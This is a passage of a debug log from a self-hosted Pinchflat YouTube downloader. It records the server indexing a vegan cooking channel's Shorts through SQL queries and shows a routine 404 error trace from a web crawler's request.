mushrooms, roughy chopped\n1.5 cups fresh or frozen squashed, diced (butternut, kabocha, hubbard)\n1 can white kidney beans\n2 cups spinach, packed\n3 tbsp nutritional yeast\nSalt and pepper to taste\nTruffe powder/oil to garnish\n\n1. Saute a little bit of onion and garlic with a splash of broth until soft and fragrant, and then toss in some mushrooms, squash and canned white kidney beans. \n2. Stir in the arborio rice until everything is nicely combined, and then pour in your hot mushroom broth. Cover with a lid and stir occasionally, for about 20-25 minutes. \n3. Once the rice is soft and cooked, add some salt and pepper, a little nutritional yeast for extra flavour and if you have it, some truffle powder or oil. \n4. Stir in those flavours and finally, fold in the spinach and cover for a few minutes to let it wilt down a little. SERVE + ENJOY! \n\nThis risotto is so filling, delicious and only requires one pot. Plus, it’s a nice way to use up those random veggies in your fridge waiting to die. 😊\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#risotto #veganrisotto #glutenfreeeats #glutenfreedairyfree #veganhacks steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Nasir Ibrahim - balance - https://thmatc.co/?l=0DC758A8", "LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!", "9ea22f9f-f425-46cd-bb39-439fdc9f4991", 1, [], 60, false, "9Ldug34i_90", "https://www.youtube.com/shorts/9Ldug34i_90", 449, "/downloads/downloads/alec/Steamy Vegan/2022-05-17 LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!/LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free! [9Ldug34i_90].NA", false, false, true, 1, ~U[2022-05-17 14:47:48Z], ~U[2026-03-22 03:30:24Z], ~U[2026-03-22 03:30:24Z], "LAZY WHITE BEAN + VEGGIE RISOTTO 🍚 vegan and gluten-free, baby 💥 \n\nRisotto does NOT have to take long to make nor do you have to stand over your stove constantly monitoring it. \n\nINGREDIENTS - SAVE THIS FOR LATER! ✅ \n1.5 cups arborio rice\n3 cups hot mushroom broth\n1/2 yellow onion, diced\n3 cloves garlic, minced\n2 cups white mushrooms, roughy chopped\n1.5 cups fresh or frozen squashed, diced (butternut, kabocha, hubbard)\n1 can white kidney beans\n2 cups spinach, packed\n3 tbsp nutritional yeast\nSalt and pepper to taste\nTruffe powder/oil to garnish\n\n1. Saute a little bit of onion and garlic with a splash of broth until soft and fragrant, and then toss in some mushrooms, squash and canned white kidney beans. \n2. Stir in the arborio rice until everything is nicely combined, and then pour in your hot mushroom broth. Cover with a lid and stir occasionally, for about 20-25 minutes. \n3. Once the rice is soft and cooked, add some salt and pepper, a little nutritional yeast for extra flavour and if you have it, some truffle powder or oil. \n4. Stir in those flavours and finally, fold in the spinach and cover for a few minutes to let it wilt down a little. SERVE + ENJOY! \n\nThis risotto is so filling, delicious and only requires one pot. Plus, it’s a nice way to use up those random veggies in your fridge waiting to die. 😊\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#risotto #veganrisotto #glutenfreeeats #glutenfreedairyfree #veganhacks steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Nasir Ibrahim - balance - https://thmatc.co/?l=0DC758A8", "LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!", 1, 60, false, "9Ldug34i_90", "https://www.youtube.com/shorts/9Ldug34i_90", "/downloads/downloads/alec/Steamy Vegan/2022-05-17 LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!/LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free! [9Ldug34i_90].NA", true, ~U[2022-05-17 14:47:48Z]] 20:30:24.279 [debug] QUERY OK source="sources" db=0.4ms idle=617.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:24.280 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:24.281 [debug] QUERY OK source="media_items" db=0.6ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [838] 20:30:24.281 [debug] Current batch of media processed. Will check again in 1000ms 20:30:25.282 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Who won our TRASH TALK SMACKDOWN - Brad or Janelle? LEAVE YOUR THOUGHTS BELOW! ⬇️ \n\nCatch all the shade they were throwing in Episode 2 of THE CHEAT DAY CHALLENGE! https://youtu.be/mrnDt0w-gno", "duration" => 22, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-16 TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥/TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥 [UmGNGoSbWXQ].NA", "id" => "UmGNGoSbWXQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/UmGNGoSbWXQ", "playlist_index" => 450, "timestamp" => 1652725821, "title" => "TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥", "upload_date" => "20220516"} 20:30:25.283 [debug] QUERY OK source="sources" db=0.5ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:25.284 [debug] QUERY OK source="sources" db=0.7ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:25.286 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-16 18:30:21Z], 1] 20:30:25.288 [debug] QUERY OK source="media_items" db=1.0ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Who won our TRASH TALK SMACKDOWN - Brad or Janelle? LEAVE YOUR THOUGHTS BELOW! ⬇️ \n\nCatch all the shade they were throwing in Episode 2 of THE CHEAT DAY CHALLENGE! https://youtu.be/mrnDt0w-gno", "TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥", "6f8444fa-ffac-450e-b4ff-a77a81bcef00", 1, [], 22, false, "UmGNGoSbWXQ", "https://www.youtube.com/shorts/UmGNGoSbWXQ", 450, "/downloads/downloads/alec/Steamy Vegan/2022-05-16 TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥/TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥 [UmGNGoSbWXQ].NA", false, false, true, 0, ~U[2022-05-16 18:30:21Z], ~U[2026-03-22 03:30:25Z], ~U[2026-03-22 03:30:25Z], "Who won our TRASH TALK SMACKDOWN - Brad or Janelle? LEAVE YOUR THOUGHTS BELOW! ⬇️ \n\nCatch all the shade they were throwing in Episode 2 of THE CHEAT DAY CHALLENGE! https://youtu.be/mrnDt0w-gno", "TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥", 1, 22, false, "UmGNGoSbWXQ", "https://www.youtube.com/shorts/UmGNGoSbWXQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-16 TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥/TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥 [UmGNGoSbWXQ].NA", true, ~U[2022-05-16 18:30:21Z]] 20:30:25.288 [debug] QUERY OK source="sources" db=0.4ms idle=624.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:25.289 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:25.290 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [839] 20:30:25.291 [debug] Current batch of media processed. Will check again in 1000ms 20:30:26.292 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Is mustard on watermelon actually a weird viral food pairing that you've gotta try at least once or is this viral food pairing disgusting? Watch this taste test video to see what we think of this viral food pairing.\n\nWe also have a full video that includes this with 7 other strange food pairings. Some of them are amazing and you've gotta taste and others are downright disgusting.\n\nCheck out the full video here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe! Thanks for your support!", "duration" => 25, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-16 Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts/Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts [8JGBnEPV92o].NA", "id" => "8JGBnEPV92o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/8JGBnEPV92o", "playlist_index" => 451, "timestamp" => 1652709603, "title" => "Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts", "upload_date" => "20220516"} 20:30:26.293 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:26.294 [debug] QUERY OK source="sources" db=0.7ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:26.297 [debug] QUERY OK source="media_items" db=2.1ms idle=1005.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-16 14:00:03Z], 1] 20:30:26.298 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Is mustard on watermelon actually a weird viral food pairing that you've gotta try at least once or is this viral food pairing disgusting? Watch this taste test video to see what we think of this viral food pairing.\n\nWe also have a full video that includes this with 7 other strange food pairings. Some of them are amazing and you've gotta taste and others are downright disgusting.\n\nCheck out the full video here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe! Thanks for your support!", "Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts", "28532b9d-b9da-465c-8fc4-eebc4b86ef70", 1, [], 25, false, "8JGBnEPV92o", "https://www.youtube.com/shorts/8JGBnEPV92o", 451, "/downloads/downloads/alec/Steamy Vegan/2022-05-16 Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts/Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts [8JGBnEPV92o].NA", false, false, true, 1, ~U[2022-05-16 14:00:03Z], ~U[2026-03-22 03:30:26Z], ~U[2026-03-22 03:30:26Z], "Is mustard on watermelon actually a weird viral food pairing that you've gotta try at least once or is this viral food pairing disgusting? Watch this taste test video to see what we think of this viral food pairing.\n\nWe also have a full video that includes this with 7 other strange food pairings. Some of them are amazing and you've gotta taste and others are downright disgusting.\n\nCheck out the full video here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe! Thanks for your support!", "Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts", 1, 25, false, "8JGBnEPV92o", "https://www.youtube.com/shorts/8JGBnEPV92o", "/downloads/downloads/alec/Steamy Vegan/2022-05-16 Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts/Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts [8JGBnEPV92o].NA", true, ~U[2022-05-16 14:00:03Z]] 20:30:26.299 [debug] QUERY OK source="sources" db=0.3ms idle=632.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:26.299 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:26.300 [debug] QUERY OK source="media_items" db=0.6ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [840] 20:30:26.300 [debug] Current batch of media processed. Will check again in 1000ms 20:30:27.096 [info] GET /sources/1/media/391/force_download 20:30:27.097 [debug] QUERY OK source="settings" db=0.3ms idle=798.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:30:27.097 [debug] QUERY OK source="settings" db=0.3ms idle=798.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:30:27.097 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:30:27.098 [error] #PID<0.4323.0> running PinchflatWeb.Endpoint (connection #PID<0.4322.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/391/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/391/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/391/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58454}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/391", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4323.0>, params: %{}, path_info: ["sources", "1", "media", "391", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/391"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/391/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8MO1BEsKljStYAAEhh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/391/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58454}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/391", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/391/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4322.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/391/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58454}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/391", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET (truncated) 20:30:27.301 [debug] Current batch of media processed. Will check again in 1000ms 20:30:28.302 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Because it's the only way to have a chill Sunday ☺️ Recipe makes 2 Apple Pie Lattes!\n\nSAVE THIS RECIPE ✔️\n3/4 cup double-strong coffee or espresso\n1.5 cups unsweetened vanilla oat milk (or non-dairy milk of choice)\n1/3 cup unsweetened apple sauce\n3 medjool dates, pitted and soaked for 3 mins 